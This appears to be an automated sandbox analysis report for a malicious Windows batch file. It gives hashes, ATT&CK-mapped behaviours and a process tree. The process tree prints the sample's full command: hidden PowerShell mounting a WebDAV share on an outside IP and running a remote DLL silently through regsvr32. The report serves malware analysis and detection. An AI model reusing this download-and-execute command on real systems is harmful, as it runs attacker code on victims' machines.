985a3d6900553536ab9e87d6ff64278f85f4abd865bc16f436846a3b47e9b1f6

Analysis

max time kernel
100s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
21/07/2024, 16:50

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General

Target
10045301402256732417.bat
Size 19KB
Sample240721-vccteavhrd
SHA256 985a3d6900553536ab9e87d6ff64278f85f4abd865bc16f436846a3b47e9b1f6
MD5 91fb1d06b79e91c29524ca03afd12227
SHA1 8bafb16da01bf084bf65ec201608c0da118119ff
SHA512 95f053500bd28033b66b28bf0f0a26e8c52827cef6def11b3cb877490d13e9c9b3d7c1900304a84cf1081fa559fe540d5da3cd9655672adfa178aa24a37b1060
SSDEEP 384:qteIfOilJwoeWhhL2t0j4ER2BfJqJNM/Z:qt/fOiljeWhYt0j4TBuK
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
952	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
952	powershell.exe
952	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	952	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4760	wordpad.exe
4760	wordpad.exe
4760	wordpad.exe
4760	wordpad.exe
4760	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 408 wrote to memory of 4760	408	cmd.exe	86
PID 408 wrote to memory of 4760	408	cmd.exe	86
PID 408 wrote to memory of 952	408	cmd.exe	88
PID 408 wrote to memory of 952	408	cmd.exe	88
PID 952 wrote to memory of 3032	952	powershell.exe	90
PID 952 wrote to memory of 3032	952	powershell.exe	90
PID 952 wrote to memory of 3192	952	powershell.exe	91
PID 952 wrote to memory of 3192	952	powershell.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\10045301402256732417.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:408
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\1527830137078.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3032
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\1527830137078.dll
    3⤵
    PID:3192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:5116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_4cxmjyxh.je5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4cxmjyxh.je5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/952-9-0x00000245F7810000-0x00000245F7832000-memory.dmp

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